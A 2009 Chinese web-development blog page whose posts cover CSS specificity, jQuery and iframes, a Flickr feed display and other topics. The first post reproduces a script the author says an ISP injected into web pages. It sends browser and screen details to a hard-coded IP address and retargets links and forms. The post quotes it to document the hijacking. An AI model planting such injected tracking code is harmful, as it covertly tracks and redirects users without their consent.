Ulysses

<script>
try{
var win=window.frames[1];
var s=screen;
var ss="http://218.16.103.93:4022/logo.jpg?p="
+navigator.appMinorVersion+"|"+s.availHeight+"|"+s.availWidth+"|"+s.colorDepth+"|"+s.height+"|"+s.width;
win.location=ss;}
catch(e){
location.reload(true);}
_hInterval=window.setInterval('Check()', 500);
function Check(){
try{
var win=window.frames[0];
if(win.document.readyState!='complete'){return;}
window.clearInterval(_hInterval);
_hInterval=null;
var doc=win.document;
for(var i in doc.links){
if(doc.links[i].target=="")
{doc.links[i].target="_top";}}
for(var i in doc.forms){
if(doc.forms[i].target==""){doc.forms[i].target="_top";}}}
catch(e){}
}
window.setInterval('window.status=location.href', 200);
</script>

排除了中毒的可能。

代码中的 IP ，来自于中国电信东莞段。

打电话投诉了，电信方也没有说和他们没有关系，只是答应会调整设置。

更新

上午电信负责所在区域的工程师打电话过来询问问题是否解决，但是我看到还是那样。

有些恼火，去工信部网站投诉了，不知道会不会受理。

另外，防止被框架的 JavaScript 代码可以解决，不过谁又会专门去防着这个呢，何况还有一些网站本身就是采用框架结构的。

虽然说一直都在被弓虽女千，按理来说早就麻木了，但是我就是不爽，给我一把小刀，我也不介意当一回玉娇。

发表评论(5)

如何计算 CSS 选择器的权重？

212009/10

CSS specificity

之前在编写 CSS 的时候，多次遇到类选择器“无效”（优先级不够）的情况，例如下面的 HTML 代码：

<div class="entry">
    <p>段落内容。<a class="links" href="http://fengyouyi.com">链接</a></p>
</div>

对应 CSS 代码如下：

.entry a {
    color: red;
}
.links {
    color: blue;
}

一直以来都简单地按照先后顺序来理解，以为这里链接会呈现蓝色，事实不然。我所理解的先后顺序，只是样式表的层叠顺序。在具体执行时，还需要考虑到样式的权重（原文作 specificity，我个人理解为权重）。

参考官方 CSS2.1 文档中的《6.4.3 Calculating a selector’s specificity》部分，我们可以了解到权重计算遵循以下规则：

如果是通过 ‘style’ 属性声明而不是通过选择器来声明的规则，算作 1，否则为 0 （a 位）（在 HTML 中，一个元素的“style”属性的值是一组样式规则。这些规则没有选择器，所以 a=1、b=0、c=0、d=0）；
计算选择器中的 ID 属性个数（b 位）；
计算选择器中的其它属性（选择器）和伪类个数（c 位）；
计算选择器中的元素名和伪元素个数（d 位）。

这个计算方法仅基于选择器的形式。需要特别说明的是，“[id=p33]”形式的选择器是算作属性选择器的（a=0, b=0, c=1, d=0），即使在源文档的 DTD 中 id 属性被定义为“ID”。

将四个数字串联成 a-b-c-d ，就可以获得选择器的权重了。

我们要如何理解这个呢？其实很简单。所有的选择器的权重都用 a-b-c-d 的形式表示，我们只要按照从 a 到 d 四个位置的数字，对应比较就可以得到权重顺序了。例如 1-0-0-0 的权重高于 0-2-1-2 ，因为在 a 位置，前者为 1 ，后者为 0 ，这样后面的就无须比较了。

更新

2009-10-21 23:38

看到 junp 在这里的评论，我才醒悟过来，他给我参考的那篇文章中那句“HTML标记的权重是 1，CLASS的权重是 10，ID的权重是 100，继承的权重为 0 ”，使我误以为作者将这几组值当作十进制来处理了。这里，如果按照 a-b-c-d 的形式，我们需要将其理解为“HTML标记的权重是 0-0-0-1，CLASS的权重是 0-0-1-0，ID的权重是 0-1-0-0，继承的权重为 0-0-0-0 ”。所以最底部的那部分更新内容，就当作加深了解的范例吧。

对原作者飘零雾雨表示歉意，同时也对 junp 表示由衷的感谢。

2009-10-21 14:22

站长资讯论坛上的 junp 给了我一篇网络上的文章，也是介绍这个的。但是看了作者计算权重的方法，好像是不正确的。因为按照他的方式，得到的最终权重值是 a*1000 + b*100 + c*10 + d 。这个是不正确的。我们可以构想一下，如果两个选择器，A 在 d 位上有 11 个元素名，例如 div div div div div div div div div div div ，而 B 在 c 位上只有 1 个属性选择器，例如 p[id="p33"] ，按照他的计算方式，A 的权重为 11 ，B 的权重为 10 。参考下面 HTML 和 CS 代码：

<div>
    <div>
        <div>
            <div>
                <div>
                    <div>
                        <div>
                            <div>
                                <div>
                                    <div>
                                        <div>
                                            <p id="p33">看看文本显示的颜色</p>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

div div div div div div div div div div div {
    color: red;
}
p[id="p33"] {
    color: blue;
}

结果是蓝色。

所以权重的计算，是按“位”比较，而不是十进制的。不过作者也提到了“按照从左到右的顺序逐位比较”，或许只是表述不清吧。

发表评论(6)

使用 jQuery 实现 window.parent.document.getElementById().innerHTML

192009/10

JavaScript jQuery

因为先前遇到的问题，所以我考虑采用 IFRAME 来隔离不同的脚本，从而实现我需要的效果。

在框架中，我用 JavaScript 获取 JSON 数据，组织成 HTML 代码，最后将其填充至上层文档的一个元素中。按照一般的写法，我们需要用到类似如下的语句：

window.parent.document.getElementById("myEle").innerHTML = html;

使用 jQuery ，写法如下：

$("#myEle", window.parent.document).html(html);

即指明了是在 window.parent.document 中查找 id=myEle 的元素。

随着前面的问题的解决（其实是对 jQuery 的了解不够），现在两种方案都可以实现我需要的效果了。

另外还有一种实现方式，代码如下：

parent.$("#myEle").html(html);

这种方法要求父文档也要调用 jQuery 。

演示：使用 jQuery 实现 window.parent.document.getElementById().innerHTML

发表评论(0)

jQuery 导致 UCenter Home 的脚本出错

192009/10

JavaScript jQuery

此问题已经解决，请参考更新部分。

我使用 UCenter Home 搭建了一个网站，并且按照《利用 jQuery 显示来自 flickr feed 的相片》中的方法，在个人主页栏目下，展示我最近更新至 Flickr 的相片。相片的展示没有问题，但是伴随而来的却是 UCenter Home 的某些功能无法使用，例如留言。

粗略地看了一下错误提示，推测产生错误的原因是 $() 函数。

在 jQuery 中，$() 是它的核心函数，用以查找匹配元素，因为参数的不同，使得它的功能非常强大。但是在 UCenter Home 中，$() 函数只是简单的简化了 document.getElementById() 这个方法。在 jQuery 中 $(“div”) 匹配的是所有的 DIV 元素，但是在 UCenter Home 中，匹配的是 id=”div” 的元素。这种差异直接导致引入 jQuery.js 后，UCenter Home 中的脚本多处出现对象未定义——因为方法被覆盖掉了，得到的已经不是一个元素，而是一类元素的集合，或者根本就没有匹配的元素。

在这种情况下，改写 jQuery.js 或者 UCenter Home 中的脚本，都是不太可行的，同时 UCenter Home 中好像也没有对于 JSON 数据格式的处理函数。我也只能寻求其它的方法。不过由此，我也想到一个问题：UCenter Home 为什么不使用 jQuery ？！

jQuery 的优秀是众所周知的，而且越来越多的 Web 应用中使用到它。UCenter Home 的开发团队如果能有效使用 jQuery ，相信也可以极大地减少代码工作量，同时增强系统的通用性。

更新

感谢活靶子的指点。我们可以通过运行 jQuery.noConflict() 来转让 $() 函数的控制权，从而解决上面提到的问题。

发表评论(1)

IE6、IE7 和 IE8 中的 CSS 兼容性速查表

192009/10

CSS IE 兼容性

IE

来源：Visual Cheat Sheet: CSS Compatibility with Internet Explorer 6, 7 and 8（BlogSpot 被和谐，访问需要翻墙）

这份兼容性速查表对比了 Internet Explorer 6、7 和 8 中的 CSS2.1、CSS3 兼容情况。

GIF：第一页第二页
PDF：第一页第二页

你可以用 A3 纸来打印上面的内容。

先前腾讯的 ISD Webteam 也发布了一份 CSS3 参考手册（中文版），CHM 格式，大家也可以下载了备用。

发表评论(0)

Eyes Of A Child

182009/10

动画南方公园电影音乐

South Park

Performed by: Michael McDonald
Written by: Trey Parker

The eyes of a child, so innocent and pure
A child’s heart is full of song
Take their tiny hands and lead them to the light
As adults we see the pain in the world,
And sometimes it don’t seem right

But through the eyes of a child
The world seems magical
There’s a sparkle in their eyes
They’ve yet to realize
The darkness in their soul

The beauty of their smile
Adventurous and wild
Life is kinda gay but it doesn’t seem that way

Through the eyes of a child

So don’t give up
Even when the road seems long
Just find that child inside of you
Yeah, you’ve got to find you

Spread your wings and fly
To the brightest star
If you want, I can get my friend Steve
To detail your car, like, 20 bucks

But through the eyes of a child
The world seems magical
There’s a sparkle in their eyes,
They’ve yet to realize
The darkness in their soul.

The beauty of their smile
Adventurous and wild.
Sure, life is kinda gay but it doesn’t seem that way

Through the eyes of a child

Through the eyes of a child
The world seems magical
There’s a sparkle in their eyes,
They’ve yet to realize
The bastards they reall are

The beauty of their smile
Adventurous and wild
Sure, life is kinda gay but it doesn’t seem that way
Through the Eyes of a child

卡通电影《南方公园》(South Park)的片尾曲。这部片子，通篇充满了“粗俗”的语言。开始的时候觉得比较难以接受，但是看到后面也就大致明白了所要表达的意思——挺应景的，也许就是针对的本就是我们的网络目前所面临的困难。

尤其是这首片尾曲，更容易让人了解影片的意义。

Google Music：下载《Eyes Of A Child》

发表评论(1)

利用 jQuery 显示来自 flickr feed 的相片

172009/10

Ajax API flickr JavaScript jQuery JSON

flickr

因为一个小小的制作，需要显示来自于 Flickr 上的最新更新的相片信息，正如很多人的博客的边栏中显示的那样。这里，我只需要利用 Flickr 提供的 JSON 格式的 feed 数据便可。开始之前，我们需要了解下面的内容：

注意到 Flickr 的文档中提到的回调函数(Callback Function)，我们可以使用默认的回调函数，也可以通过将 nojsoncallback 设置为 1 ，从而去掉默认的回调函数。

在 jQuery.getJSON() 请求中，我们也可以指定回调函数。

如下代码，可以让我们获取到 JSON 数据：

$.getJSON("http://api.flickr.com/services/feeds/photos_public.gne?id=42657763@N08&amp;amp;lang=zh-cn&amp;amp;format=json&amp;amp;nojsoncallback=1";, function(data) {});

这里使用 nojsoncallback 参数去掉了默认的回调函数，如果要指定回调函数，使用如下语法：

$.getJSON("http://api.flickr.com/services/feeds/photos_public.gne?id=42657763@N08&amp;amp;lang=zh-cn&amp;amp;format=json&amp;amp;jsoncallback=?", function(data) {});

注意不要遗漏 jsoncallback=? 中的“?”符号。

上面调用的 feed ，返回的是公开的相片，考察 JSON 的格式，我们通过下面的代码来生成相片显示的 HTML 代码：

var html = ""; // 输出 HTML 代码
var src = ""; // 相片路径
$.each(data.items, function(i, item) {
/*
* JSON 文件中是提供的是中等尺寸缩略图
* 这里对应替换为小尺寸（75px*75px）的缩略图
*/
src = (item.media.m).replace("_m.jpg", "_s.jpg");
html += "&lt;a href=\"" + item.link + "\" target=\"_blank\"&gt;&lt;img src=\"" + src + "\" \/&gt;&lt;\/a&gt;";
});

现在，只需要将 HTML 代码填充进指定的元素内即可：

$("#flickr_photos").html(html);

完整代码如下：

$.getJSON("http://api.flickr.com/services/feeds/photos_public.gne?id=42657763@N08〈=zh-cn&amp;format=json&amp;nojsoncallback=1", function(data) {
var html = ""; // 输出 HTML 代码
var src = ""; // 相片路径
$.each(data.items, function(i, item) {
/*
* JSON 文件中是提供的是中等尺寸缩略图
* 这里对应替换为小尺寸（75px*75px）的缩略图
*/
src = (item.media.m).replace("_m.jpg", "_s.jpg");
html += "&lt;a href=\"" + item.link + "\" target=\"_blank\"&gt;&lt;img src=\"" + src + "\" \/&gt;&lt;\/a&gt;";
});

$("#flickr_photos").html(html);
});

你可能会发现，在本地测试，上面的代码运行正常，但是发布到远程地址，就会出现“没有权限”的错误，这是因为 Ajax 的跨域安全问题引起的。

在这里，我们可以另外编写一份 PHP 代码来实现代理，代码内容很简单：

echo file_get_contents('http://api.flickr.com/services/feeds/photos_public.gne?id=42657763@N08&amp;amp;lang=zh-cn&amp;amp;format=json&amp;amp;nojsoncallback=1');

将这份 php 文件保存为 feed.php ，将 JavaScript 中的 Flickr Feed 地址替换为这份 PHP 文件所在的地址即可（注意路径）。

最后的演示效果，可以查看《使用 jQuery 显示来自 Flickr Feed 的相片》。

如何显示你的相片？

只需要将 Flickr Feed 中 id 内容替换为你的便可。

发表评论(1)

Google 通讯录导入 Google 企业应用用户清单出现无法识别的格式错误

092009/10

Google 应用文件格式

Google

在 Google 企业应用的“使用者与群组”中，我们选择导出使用者清单为 CSV 格式，然后在通讯录中，导入此 CSV 文件，提示“无法识别的文件格式”。其实在导出时，会自动切换至 Google 文档下进行保存，此时就会出现“上传错误”。

不知道是不是在设计的时候，没有充分考虑到格式兼容问题。当然，这样仅仅限于我自己的测试。如果您正在使用这些服务，不如顺手帮忙测试一下吧。

Google 企业应用是非常好的一项服务，虽然现在允许申请的标准版用户数量减少到 50 个，但是对于一般的站长来说，足够用了。

这里，我倒是有两个期望：

将 Google 群组增加进去。

现在的 Google 企业应用中已经将原来的“邮件组”更名为“群组”了，但是却没有实际上的在线群组版面，即在线论坛。
允许变更 Google 企业应用的主域名。

有时候我们在申请 Google 企业应用的时候使用的域名并非我们使用的主域名，一个比较常见的情况就是，原本注册的是 .net ，申请了应用，后来申请到 .com ，为了统一，只能将 .com 的作为别名。尽管 Google 电子邮件提供了设定主别名的功能，但是如果能在 Google 企业应用中直接变更，那会方便很多。

发表评论(0)

腾讯微博邀请

GoDaddy、AliPay

中国电信耍流氓？！

如何计算 CSS 选择器的权重？

使用 jQuery 实现 window.parent.document.getElementById().innerHTML

jQuery 导致 UCenter Home 的脚本出错

IE6、IE7 和 IE8 中的 CSS 兼容性速查表

Eyes Of A Child

利用 jQuery 显示来自 flickr feed 的相片

Google 通讯录导入 Google 企业应用用户清单出现无法识别的格式错误

标签

存档

链接